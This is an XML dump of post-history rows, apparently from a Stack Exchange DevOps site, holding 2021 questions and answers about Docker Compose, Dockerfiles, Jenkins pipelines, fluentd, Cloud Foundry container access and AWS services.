  <row Id="43379" PostHistoryTypeId="5" PostId="13781" RevisionGUID="b98e0004-9a7c-48f9-9357-67143d72862a" CreationDate="2021-04-26T16:45:20.700" UserId="27344" Comment="added 72 characters in body" Text="What @Jon Ravenscraft posted as a comment on his own accepted (non) answer did in fact work for me as a solution. I am just formatting it here as an answer for anybody who stumbles here in the future:&#xD;&#xA; * Follow [these steps](https://community.pivotal.io/s/article/How-to-get-into-an-App-Container-Manually-with-Garden-RunC-Backend?language=en_US) to get instance GUID (also included below for convenience)&#xD;&#xA;```bash&#xD;&#xA;# Establish the process-guid for the app:&#xD;&#xA;cf curl /v2/apps/$(cf app &lt;app_name&gt; --guid)| jq -r '.metadata.guid + &quot;-&quot; + .entity.version'&#xD;&#xA;b06b2901-2093-4be4-9f37-f7788d04ce8c-ff93f0e2-285f-4f18-a6fc-806802f3dde9&#xD;&#xA;&#xD;&#xA;# Find the hosts where the app instances are running:&#xD;&#xA;cf curl v2/apps/$(cf app &lt;app-name&gt; --guid)/stats | grep host&#xD;&#xA;&#xD;&#xA;# Identify the Diego cell you want to ssh to by running bosh vms | grep &lt;cell_ip&gt;&#xD;&#xA;&#xD;&#xA;# bosh ssh to the Diego cell (grab the cell_id from step 3).&#xD;&#xA;&#xD;&#xA;# Once in the Diego cell, as root, run the following command to grab the container_guid/instance_guid:&#xD;&#xA;cfdot actual-lrp-groups-for-guid &lt;process_guid_from_step_1&gt; | jq '.instance | select (.address == &quot;&lt;diego_cell_ip&gt;&quot;)' | jq .instance_guid&#xD;&#xA;```&#xD;&#xA;* Then, from your terminal on the appropriate diego cell:&#xD;&#xA;```bash&#xD;&#xA;sudo /var/vcap/packages/containerd/bin/ctr -a /var/vcap/sys/run/containerd/containerd.sock -n garden tasks exec --exec-id my-shell --tty &lt;instance-guid&gt; /bin/sh&#xD;&#xA;```&#xD;&#xA;And voilà , you are dropped at a shell...&#xD;&#xA;&#xD;&#xA;P.S. I believe the speculated reasoning given in the other answer is in fact, also correct, per https://docs.pivotal.io/pivotalcf/2-6/pcf-release-notes/runtime-rn.html:&#xD;&#xA;&#xD;&#xA;&gt; PAS v2.6 enables containerd mode by default to bring PAS in line with other container providers. When you upgrade to PAS v2.6, Garden switches the container runtime from runc to containerd. Since the restart of Garden and the re-creation of containers are a normal part of a PAS upgrade, there is no operational impact to running applications." ContentLicense="CC BY-SA 4.0" />
  <row Id="43380" PostHistoryTypeId="5" PostId="13777" RevisionGUID="17aeb828-b9a4-4c66-a1ae-69d4ee5e1cc3" CreationDate="2021-04-27T11:10:50.343" UserId="27338" Comment="removed some PII" Text="So I am trying to start up an server that has:&#xD;&#xA; - a mongodb container&#xD;&#xA; - a backend container&#xD;&#xA; - a client container&#xD;&#xA;&#xD;&#xA;Both server containers require me to run `yarn start` at the end. However, when I run this in the dockerfile the image never stops being built as the `yarn start` command technically never stops running.&#xD;&#xA;&#xD;&#xA;The client requires the backend to be up already, and the backend requires the mongodb db instance to be up.&#xD;&#xA;&#xD;&#xA;How do I get this server running in docker compose?&#xD;&#xA;&#xD;&#xA;Here is my backend dockerfile&#xD;&#xA;```&#xD;&#xA; FROM node:12-alpine&#xD;&#xA; &#xD;&#xA; WORKDIR /app&#xD;&#xA; COPY ./server /app&#xD;&#xA; &#xD;&#xA; WORKDIR /app/server&#xD;&#xA; RUN yarn&#xD;&#xA; RUN yarn start&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It really does work until I get to yarn start (Which I should probably run in the docker-compose as it needs to mongodb container to be running. I just don't know how to run this in the `docker-compose.yml`, or force the client to wait for this command to be run before running its own `yarn start`)." ContentLicense="CC BY-SA 4.0" />
  <row Id="43381" PostHistoryTypeId="2" PostId="13782" RevisionGUID="6edd4e13-1ca0-4cec-a1c5-209dff6bff91" CreationDate="2021-04-27T12:26:20.820" UserId="13" Text="&#xD;&#xA;`yarn start` should be the `CMD` of your docker image (I.e what is run when you start a container) and not a `RUN` command (which is run when creating the image used to satrt a container later)&#xD;&#xA;&#xD;&#xA;From your exemple, something like this should be better:&#xD;&#xA;&#xD;&#xA;     FROM node:12-alpine&#xD;&#xA;     &#xD;&#xA;     WORKDIR /app&#xD;&#xA;     COPY ./server /app&#xD;&#xA;     &#xD;&#xA;     WORKDIR /app/server&#xD;&#xA;     RUN yarn&#xD;&#xA;     CMD yarn start" ContentLicense="CC BY-SA 4.0" />
  <row Id="43382" PostHistoryTypeId="2" PostId="13783" RevisionGUID="f1bb17cf-f91c-4dac-896f-eb5d88ddd611" CreationDate="2021-04-27T12:42:03.003" UserId="739" Text="Do you really care about the OS behind jenkins that much?  Jenkins is fine running in a Docker container in your choice of orchestration environments (Kubernetes, Dokku, etc.).&#xD;&#xA;&#xD;&#xA;Running jobs on the controller is not a great idea, so the OS for build jobs is going to depend on the agents.  Running agents in containers gives you a lot of flexibility, including having different pools of agents for different OS versions." ContentLicense="CC BY-SA 4.0" />
  <row Id="43387" PostHistoryTypeId="2" PostId="13786" RevisionGUID="00632349-b3c4-475f-ba3f-a2fd54e38359" CreationDate="2021-04-27T23:23:25.083" UserId="12138" Text="Instead of using `network_mode` to `host`, you can simply make use of `links` (new versions uses `networks`) which will make the communication to happen between two containers. &#xD;&#xA;&#xD;&#xA;I have updated the `docker-compose.yaml` file and added `links` to connect `database` service (database container) to be accessed from your `backend` service. &#xD;&#xA;&#xD;&#xA;In your backend database configuration, you need to use `database` as the db host. (Here `database` is the service name which is defined in the compose.yaml file)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  redis:&#xD;&#xA;    image: redis:latest&#xD;&#xA;    ports:&#xD;&#xA;      - 6379:6379&#xD;&#xA;    command: [&quot;redis-server&quot;, &quot;/redis.conf&quot;]&#xD;&#xA;  database:&#xD;&#xA;    image: &quot;postgres&quot;&#xD;&#xA;    env_file:&#xD;&#xA;      - ./database/database.env&#xD;&#xA;    volumes:&#xD;&#xA;      - database-data:/var/lib/postgresql/data&#xD;&#xA;      - ./database/init-db.sql:/docker-entrypoint-initdb.d/init.sql&#xD;&#xA;    restart: always&#xD;&#xA;  backend:&#xD;&#xA;    depends_on: [database]&#xD;&#xA;    build: ./server&#xD;&#xA;    volumes:&#xD;&#xA;      - ./files:/var/lib/files&#xD;&#xA;    ports:&#xD;&#xA;      - 3333:3333&#xD;&#xA;    restart: always&#xD;&#xA;    links:&#xD;&#xA;      - &quot;database&quot;&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  database-data:&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43388" PostHistoryTypeId="2" PostId="13787" RevisionGUID="49012d2d-4fcf-4b34-8715-f4912352eab0" CreationDate="2021-04-28T01:22:57.037" UserId="12988" Text="When you use network_mode host, the [published ports are ignored][1], which means the ports that are open in the containers will be the same port in the host. Does not matter what you had declared in `ports`   &#xD;&#xA;&#xD;&#xA;The default behavior is every service in the compose can talk to each other. &#xD;&#xA;&#xD;&#xA;&gt; [Links][2] are not required to enable services to communicate - by default, any service can reach any other service at that service’s name&#xD;&#xA;&#xD;&#xA;let's use this simple compose as an example. There is no network defined, docker will create one.&#xD;&#xA;&#xD;&#xA;    version: '3.7'&#xD;&#xA;    services:&#xD;&#xA;      nginx1:&#xD;&#xA;        image: nginx&#xD;&#xA;        ports:&#xD;&#xA;          - '8080:80'&#xD;&#xA;      nginx2:&#xD;&#xA;        image: nginx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Nginx1 will be reachable through port 8080 on localhost and any other machines in the network.&#xD;&#xA;&#xD;&#xA;    $ curl -I http://localhost:8080&#xD;&#xA;    HTTP/1.1 200 OK&#xD;&#xA;    Server: nginx/1.19.10&#xD;&#xA;&#xD;&#xA;While nginx2 will even have a port on the host.&#xD;&#xA;&#xD;&#xA;    $ docker-compose ps&#xD;&#xA;          Name                     Command               State                  Ports                &#xD;&#xA;    -------------------------------------------------------------------------------------------------&#xD;&#xA;    nginx1_1   /docker-entrypoint.sh ngin ...   Up      0.0.0.0:8080-&gt;80/tcp,:::8080-&gt;80/tcp&#xD;&#xA;    nginx2_1   /docker-entrypoint.sh ngin ...   Up      80/tcp                              &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And they still reach each other by their internal port using the service name&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Accessing nginx1 from nginx2&#xD;&#xA;&#xD;&#xA;    $ docker exec -it nginx2_1 curl -I http://nginx1:80&#xD;&#xA;    HTTP/1.1 200 OK&#xD;&#xA;    Server: nginx/1.19.10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Accessing nginx2 from nginx1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    $ docker exec -it nginx1_1 curl -I http://nginx2:80&#xD;&#xA;    HTTP/1.1 200 OK&#xD;&#xA;    Server: nginx/1.19.10&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/network/host/&#xD;&#xA;  [2]: https://docs.docker.com/compose/networking/#links&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43389" PostHistoryTypeId="2" PostId="13788" RevisionGUID="e4076b3e-d6a7-4b7f-848c-90bf5716f9bf" CreationDate="2021-04-28T05:25:36.640" UserId="21893" Text="What can EKS deployment do that ECS deployment can't do? is there any specific circumstances that you have to deploy your application on EKS but not ECS." ContentLicense="CC BY-SA 4.0" />
  <row Id="43390" PostHistoryTypeId="1" PostId="13788" RevisionGUID="e4076b3e-d6a7-4b7f-848c-90bf5716f9bf" CreationDate="2021-04-28T05:25:36.640" UserId="21893" Text="AWS ECR vs EKS for hybrid cloud strategy" ContentLicense="CC BY-SA 4.0" />
  <row Id="43391" PostHistoryTypeId="3" PostId="13788" RevisionGUID="e4076b3e-d6a7-4b7f-848c-90bf5716f9bf" CreationDate="2021-04-28T05:25:36.640" UserId="21893" Text="&lt;kubernetes&gt;&lt;amazon-ecs&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43392" PostHistoryTypeId="2" PostId="13789" RevisionGUID="a4d650c2-5993-426c-ac74-b26ffa70eadc" CreationDate="2021-04-28T07:12:26.927" UserId="27265" Text="This is a very broad question (and BTW you have a typo in the title, it should say ECS not ECR). &#xD;&#xA;&#xD;&#xA;In terms of general positioning [this](https://aws.amazon.com/blogs/containers/amazon-ecs-vs-amazon-eks-making-sense-of-aws-container-services/) may be a good starting point. &#xD;&#xA;&#xD;&#xA;Given in the title you mention &quot;hybrid&quot; deployments you may be interested in investigating and investigating [ECS Anywhere](https://aws.amazon.com/blogs/containers/introducing-amazon-ecs-anywhere/) and [EKS Anywhere](https://aws.amazon.com/eks/eks-anywhere/). They are both coming in 2021.  &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43394" PostHistoryTypeId="2" PostId="13791" RevisionGUID="4ed3efb5-39e7-4042-ba18-7dceb365c87b" CreationDate="2021-04-28T09:08:35.303" UserId="27377" Text="I've noticed that in my configuration where fluent logs in his own logs all processed message. So any message is processed at least twice. My configuration looks like this&#xD;&#xA;```&#xD;&#xA;&lt;source&gt;&#xD;&#xA;    @type tail&#xD;&#xA;    path /var/log/fluent/demo*.log&#xD;&#xA;    @log_level error&#xD;&#xA;    &lt;parse&gt;&#xD;&#xA;        @type none&#xD;&#xA;        @log_level error&#xD;&#xA;    &lt;/parse&gt;&#xD;&#xA;&lt;/source&gt;&#xD;&#xA;&#xD;&#xA;&lt;match *&gt;&#xD;&#xA;    @type stdout&#xD;&#xA;&lt;/match&gt;&#xD;&#xA;```&#xD;&#xA;I was trying with system tags -&#xD;&#xA;```&#xD;&#xA;&lt;system&gt;&#xD;&#xA;log_level error&#xD;&#xA;&lt;/system&gt;&#xD;&#xA;```&#xD;&#xA;to disable this - but still nothing&#xD;&#xA;&#xD;&#xA;log looks like this&#xD;&#xA;```&#xD;&#xA;2021-04-28 07:56:08 +0000 [info]: #0 starting fluentd worker pid=16 ppid=7 worker=0&#xD;&#xA;2021-04-28 07:56:08 +0000 [info]: #0 fluentd worker is now running worker=0&#xD;&#xA;2021-04-28 08:07:41 +0000 [info]: Received graceful stop&#xD;&#xA;2021-04-28 08:07:42 +0000 [info]: #0 fluentd worker is now stopping worker=0&#xD;&#xA;2021-04-28 08:07:42 +0000 [info]: #0 shutting down fluentd worker worker=0&#xD;&#xA;2021-04-28 08:07:42 +0000 [info]: #0 shutting down output plugin type=:stdout plugin_id=&quot;object:6cc&quot;&#xD;&#xA;2021-04-28 08:07:42 +0000 [info]: Worker 0 finished with status 0&#xD;&#xA;2021-04-28 08:10:01.421258522 +0000 scom: {&quot;message&quot;:&quot;test1&quot;}&#xD;&#xA;2021-04-28 08:10:01.421276755 +0000 scom: {&quot;message&quot;:&quot;fsgdsfsgdfg&quot;}&#xD;&#xA;```&#xD;&#xA;My scenario is that fluent is running inside docker container, and I'm checking logs with docker container logs&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43395" PostHistoryTypeId="1" PostId="13791" RevisionGUID="4ed3efb5-39e7-4042-ba18-7dceb365c87b" CreationDate="2021-04-28T09:08:35.303" UserId="27377" Text="fluentd logs all processing logs in fluent logs" ContentLicense="CC BY-SA 4.0" />
  <row Id="43396" PostHistoryTypeId="3" PostId="13791" RevisionGUID="4ed3efb5-39e7-4042-ba18-7dceb365c87b" CreationDate="2021-04-28T09:08:35.303" UserId="27377" Text="&lt;logging&gt;&lt;fluentd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43397" PostHistoryTypeId="2" PostId="13792" RevisionGUID="f22d7c9f-7362-4559-be68-1231384139dc" CreationDate="2021-04-28T13:13:37.093" UserId="27381" Text="My AWS Backup plan is set up to do continuous RDS backups in the primary region, and hourly copies in a backup region. The problem I'm having is there aren't 24 snapshots in the backup region per day as expected. Over 5 days of testing, I only got snapshots between 7pm and midnight. &#xD;&#xA;&#xD;&#xA;On a different DB with the same setup, I get 1 per hour except between 9pm-11pm, and at 1am. Someone has suggested it could be due to a lack of DB changes during those times, but I am 90% sure that is not the issue.&#xD;&#xA;&#xD;&#xA;If anyone has had a similar experience or knows what might be going on I'd be very grateful for some insight! thanks" ContentLicense="CC BY-SA 4.0" />
  <row Id="43398" PostHistoryTypeId="1" PostId="13792" RevisionGUID="f22d7c9f-7362-4559-be68-1231384139dc" CreationDate="2021-04-28T13:13:37.093" UserId="27381" Text="Hourly plan for AWS Backup (RDS) not working 24/7" ContentLicense="CC BY-SA 4.0" />
  <row Id="43399" PostHistoryTypeId="3" PostId="13792" RevisionGUID="f22d7c9f-7362-4559-be68-1231384139dc" CreationDate="2021-04-28T13:13:37.093" UserId="27381" Text="&lt;amazon-web-services&gt;&lt;amazon-rds&gt;&lt;backup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43404" PostHistoryTypeId="2" PostId="13794" RevisionGUID="572a08c5-8e9e-4043-bbfc-4ec0de5371b7" CreationDate="2021-04-28T15:20:53.677" UserId="27388" Text="I recently had this frustrating problem but I managed to fix it today.&#xD;&#xA;&#xD;&#xA;What I did, is in the desktop app on Windows / Mac you can edit the Daemon file. Under Settings in the Docker App under Docker Engine, I added the line at the bottom of the file just above the last curly brace. `&quot;dns&quot;: [&#xD;&#xA;    &quot;192.168.4.100&quot;,&#xD;&#xA;    &quot;8.8.8.8&quot;&#xD;&#xA;  ]`&#xD;&#xA;&#xD;&#xA;This then allows the Docker Containers all that you now build to use your host's DNS server. Technically if you can access: https://chocolatey.org/install.ps1 then you should be able to access the choco repository. &#xD;&#xA;&#xD;&#xA;I have also built the image in https://github.com/jasric89/vsts-agent-docker/tree/master/windows/servercore/10.0.14393 and labeled it in the repo: &#xD;&#xA;&#xD;&#xA; microsoft/windowsservercore:10.0.14393.1358 &#xD;&#xA;&#xD;&#xA;I then set: `RUN choco feature enable --name allowGlobalConfirmation` before my first Choco Install command, this enables choco to install all the files and not error. &#xD;&#xA;&#xD;&#xA;With all that set my Docker File Ran and built the image. Well in my Test Env now testing in my prod env. :) &#xD;&#xA;&#xD;&#xA;Links that helped me: &#xD;&#xA;&#xD;&#xA;https://github.com/moby/moby/issues/24928&#xD;&#xA;https://github.com/jasric89/vsts-agent-docker/blob/master/windows/servercore/10.0.14393/standard/VS2017/Dockerfile&#xD;&#xA;https://docs.chocolatey.org/en-us/troubleshooting&#xD;&#xA;https://github.com/moby/moby/issues/25537&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43405" PostHistoryTypeId="2" PostId="13795" RevisionGUID="63420336-43aa-47e4-a59d-aea7ae5442a1" CreationDate="2021-04-28T17:26:50.463" UserId="27391" Text="I've created a vm on Azure. I then created a SSH key on portal and associated it with the resource group of the vm. Do I need to recreate the VM or can I reuse it somehow? " ContentLicense="CC BY-SA 4.0" />
  <row Id="43406" PostHistoryTypeId="1" PostId="13795" RevisionGUID="63420336-43aa-47e4-a59d-aea7ae5442a1" CreationDate="2021-04-28T17:26:50.463" UserId="27391" Text="How do I SSH into a vm I've already created before providing SSH keys? Do I need to recreate the vm's?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43407" PostHistoryTypeId="3" PostId="13795" RevisionGUID="63420336-43aa-47e4-a59d-aea7ae5442a1" CreationDate="2021-04-28T17:26:50.463" UserId="27391" Text="&lt;azure&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43408" PostHistoryTypeId="4" PostId="13788" RevisionGUID="95e01c0e-ae6c-4042-a8fd-dcf91300ad90" CreationDate="2021-04-28T18:45:02.527" UserId="6162" Comment="corrected the acronym, so that it match the content in the question" Text="AWS ECS vs EKS for hybrid cloud strategy" ContentLicense="CC BY-SA 4.0" />
  <row Id="43409" PostHistoryTypeId="24" PostId="13788" RevisionGUID="95e01c0e-ae6c-4042-a8fd-dcf91300ad90" CreationDate="2021-04-28T18:45:02.527" Comment="Proposed by 6162 approved by 40 edit id of 1370" ContentLicense="CC BY-SA 4.0" />
  <row Id="43410" PostHistoryTypeId="2" PostId="13796" RevisionGUID="e558dd59-981a-4004-91a7-1ce5898c87eb" CreationDate="2021-04-29T08:38:06.163" UserId="27396" Text="**Background**&#xD;&#xA;&#xD;&#xA;I have a Jenkins pipeline that I use for building my application. Actual building of software is done using a container. I just mount the source code to container and run container with a specific command. &#xD;&#xA;&#xD;&#xA;My pipeline script:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    pipeline {&#xD;&#xA;      agent {label 'myagent'}&#xD;&#xA;      stages {&#xD;&#xA;        stage('Prepare') {&#xD;&#xA;          steps{&#xD;&#xA;            checkout([$class: 'GitSCM',&#xD;&#xA;            branches: [[name: '*/master']],&#xD;&#xA;            userRemoteConfigs: [[credentialsId: '****', url: &quot;****&quot;]]])&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        stage('Build') {&#xD;&#xA;          steps{&#xD;&#xA;            script {&#xD;&#xA;                sh &quot;docker run --rm -v \$(pwd):/home/appuser/app builder:0.0.1 /bin/bash -c '\&quot; cd /home/appuser/app &amp;&amp; cmake . &amp;&amp; make \&quot;'&quot;&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Here is the command:&#xD;&#xA;&#xD;&#xA;    docker run --rm -v $(pwd):/home/appuser/app builder:0.0.1 /bin/bash -c &quot;cd /home/appuser/app &amp;&amp; cmake . &amp;&amp; make &quot;&#xD;&#xA;&#xD;&#xA;**Issue**&#xD;&#xA;&#xD;&#xA;When I run the Jenkins job I receive an error *&quot;/bin/bash: cd /home/appuser/app &amp;&amp; cmake . &amp;&amp; make : No such file or directory&quot;*&#xD;&#xA;&#xD;&#xA;However, if I copy the exact command and run it in Slave directly, no problems occur.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;Am I doing something wrong?&#xD;&#xA;&#xD;&#xA;How can I fix this issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43411" PostHistoryTypeId="1" PostId="13796" RevisionGUID="e558dd59-981a-4004-91a7-1ce5898c87eb" CreationDate="2021-04-29T08:38:06.163" UserId="27396" Text="Docker run command inside jenkins pipeline produces error" ContentLicense="CC BY-SA 4.0" />
  <row Id="43412" PostHistoryTypeId="3" PostId="13796" RevisionGUID="e558dd59-981a-4004-91a7-1ce5898c87eb" CreationDate="2021-04-29T08:38:06.163" UserId="27396" Text="&lt;docker&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43413" PostHistoryTypeId="50" PostId="9078" RevisionGUID="f92046a7-1b37-4cc9-b264-a1a218d0952b" CreationDate="2021-04-29T12:06:20.660" UserId="-1" />
  <row Id="43414" PostHistoryTypeId="2" PostId="13797" RevisionGUID="096194f5-9359-47ec-af64-58f5e2e495a7" CreationDate="2021-04-29T14:39:33.813" UserId="27397" Text="I am new to docker compose.  I have a docker-compose.yml file a Dockerfile as that looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/root/experiments/e2/docker-compose.yml&#xD;&#xA;&#xD;&#xA;version: '3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  nodejs:&#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: Dockerfile&#xD;&#xA;    image: nodejs&#xD;&#xA;    container_name: njs&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;3000:3000&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - /root/experiments/e2/api:/home/node/api&#xD;&#xA;      - /root/experiments/e2/api/node_modules:/home/node/api/node_modules&#xD;&#xA;    networks:&#xD;&#xA;      - app-network&#xD;&#xA;    command: node src/app.js&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  app-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  node_modules:&#xD;&#xA;&#xD;&#xA;------------------&#xD;&#xA;/root/experiments/e2/Dockerfile&#xD;&#xA;&#xD;&#xA;FROM node:12.18.1&#xD;&#xA;WORKDIR /home/node/api&#xD;&#xA;COPY [&quot;./api/package.json&quot;, &quot;./api/package-lock.json*&quot;, &quot;./&quot;]&#xD;&#xA;RUN npm install&#xD;&#xA;EXPOSE 3000&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run the command these commands in this order:&#xD;&#xA;```&#xD;&#xA;docker-compose build --no-cache&#xD;&#xA;docker-compose up --build --force-recreate&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The result is &#xD;&#xA;```&#xD;&#xA;njs       | Error: Cannot find module 'express'&#xD;&#xA;njs       | Require stack:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If however if I manually go into the `api/` directory of my host machine and run `npm install` to download all the packages into `api/node_modules`, then my nodejs in my docker container starts up properly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think I'm not using volume mounts properly?  Can anyone suggest if that's the case or what I might be doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43415" PostHistoryTypeId="1" PostId="13797" RevisionGUID="096194f5-9359-47ec-af64-58f5e2e495a7" CreationDate="2021-04-29T14:39:33.813" UserId="27397" Text="Am I volume mounting correctly with docker-compose?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43416" PostHistoryTypeId="3" PostId="13797" RevisionGUID="096194f5-9359-47ec-af64-58f5e2e495a7" CreationDate="2021-04-29T14:39:33.813" UserId="27397" Text="&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43417" PostHistoryTypeId="5" PostId="13797" RevisionGUID="2998870c-f99d-408a-8637-fdc4cd406a52" CreationDate="2021-04-29T15:09:38.300" UserId="27397" Comment="added 1 character in body" Text="I am new to docker compose.  I have a docker-compose.yml file and a Dockerfile that looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/root/experiments/e2/docker-compose.yml&#xD;&#xA;&#xD;&#xA;version: '3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  nodejs:&#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: Dockerfile&#xD;&#xA;    image: nodejs&#xD;&#xA;    container_name: njs&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;3000:3000&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - /root/experiments/e2/api:/home/node/api&#xD;&#xA;      - /root/experiments/e2/api/node_modules:/home/node/api/node_modules&#xD;&#xA;    networks:&#xD;&#xA;      - app-network&#xD;&#xA;    command: node src/app.js&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  app-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  node_modules:&#xD;&#xA;&#xD;&#xA;------------------&#xD;&#xA;/root/experiments/e2/Dockerfile&#xD;&#xA;&#xD;&#xA;FROM node:12.18.1&#xD;&#xA;WORKDIR /home/node/api&#xD;&#xA;COPY [&quot;./api/package.json&quot;, &quot;./api/package-lock.json*&quot;, &quot;./&quot;]&#xD;&#xA;RUN npm install&#xD;&#xA;EXPOSE 3000&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run the command these commands in this order:&#xD;&#xA;```&#xD;&#xA;docker-compose build --no-cache&#xD;&#xA;docker-compose up --build --force-recreate&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The result is &#xD;&#xA;```&#xD;&#xA;njs       | Error: Cannot find module 'express'&#xD;&#xA;njs       | Require stack:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If however if I manually go into the `api/` directory of my host machine and run `npm install` to download all the packages into `api/node_modules`, then my nodejs in my docker container starts up properly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think I'm not using volume mounts properly?  Can anyone suggest if that's the case or what I might be doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43418" PostHistoryTypeId="5" PostId="13797" RevisionGUID="ee5925cb-d9b3-480a-a860-cca1a227d5ad" CreationDate="2021-04-29T15:19:34.487" UserId="27397" Comment="grmmar" Text="I am new to docker compose.  I have a docker-compose.yml file and a Dockerfile that looks like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;/root/experiments/e2/docker-compose.yml&#xD;&#xA;&#xD;&#xA;version: '3'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  nodejs:&#xD;&#xA;    build:&#xD;&#xA;      context: .&#xD;&#xA;      dockerfile: Dockerfile&#xD;&#xA;    image: nodejs&#xD;&#xA;    container_name: njs&#xD;&#xA;    restart: unless-stopped&#xD;&#xA;    ports:&#xD;&#xA;      - &quot;3000:3000&quot;&#xD;&#xA;    volumes:&#xD;&#xA;      - /root/experiments/e2/api:/home/node/api&#xD;&#xA;      - /root/experiments/e2/api/node_modules:/home/node/api/node_modules&#xD;&#xA;    networks:&#xD;&#xA;      - app-network&#xD;&#xA;    command: node src/app.js&#xD;&#xA;&#xD;&#xA;networks:&#xD;&#xA;  app-network:&#xD;&#xA;    driver: bridge&#xD;&#xA;&#xD;&#xA;volumes:&#xD;&#xA;  node_modules:&#xD;&#xA;&#xD;&#xA;------------------&#xD;&#xA;/root/experiments/e2/Dockerfile&#xD;&#xA;&#xD;&#xA;FROM node:12.18.1&#xD;&#xA;WORKDIR /home/node/api&#xD;&#xA;COPY [&quot;./api/package.json&quot;, &quot;./api/package-lock.json*&quot;, &quot;./&quot;]&#xD;&#xA;RUN npm install&#xD;&#xA;EXPOSE 3000&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;When I run the command these commands in this order:&#xD;&#xA;```&#xD;&#xA;docker-compose build --no-cache&#xD;&#xA;docker-compose up --build --force-recreate&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The result is &#xD;&#xA;```&#xD;&#xA;njs       | Error: Cannot find module 'express'&#xD;&#xA;njs       | Require stack:&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If however if I manually go into my host machine's `/root/experiments/e2/api/` directory and run `npm install` to download all the packages into `/root/experiments/e2/api/node_modules`, then my nodejs in my docker container starts up properly.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I think I'm not using volume mounts properly?  Can anyone suggest if that's the case or what I might be doing wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43421" PostHistoryTypeId="50" PostId="12885" RevisionGUID="f8ed81c9-ff08-4a9c-a3f1-ee5f94b94a8d" CreationDate="2021-04-29T19:07:31.007" UserId="-1" />
  <row Id="43425" PostHistoryTypeId="50" PostId="12964" RevisionGUID="240a719f-2611-43a2-a2ba-68490baebe65" CreationDate="2021-04-29T21:02:20.180" UserId="-1" />
  <row Id="43426" PostHistoryTypeId="2" PostId="13799" RevisionGUID="1fe5339d-7ae3-488e-bc66-073b751ccf6d" CreationDate="2021-04-29T21:06:28.740" UserId="27405" Text="The best way I have found so far is to use Docker containers with a docker file that does the installation of node_modules before running other steps. &#xD;&#xA;&#xD;&#xA;I make sure all jobs of this multi branch pipeline run on the same node and keep the latest docker image for EACH branch on this node locally. That way unless the dependencies in packages.json change, then docker will use the cache to build the new image (or just generate the artifact you want to create and transfer it to the local workspace). If all branches have the same dependencies, they will all use the same cached image, if not they will just create a new one.&#xD;&#xA;&#xD;&#xA;Alternatively, some of of projects are archiving node_modules as an artifact either in Jenkins or in a S3 bucket and then pulling it down during build time, although this is still much slower since the bundle is quite large and it take a while to download&#xD;&#xA;&#xD;&#xA;I hope 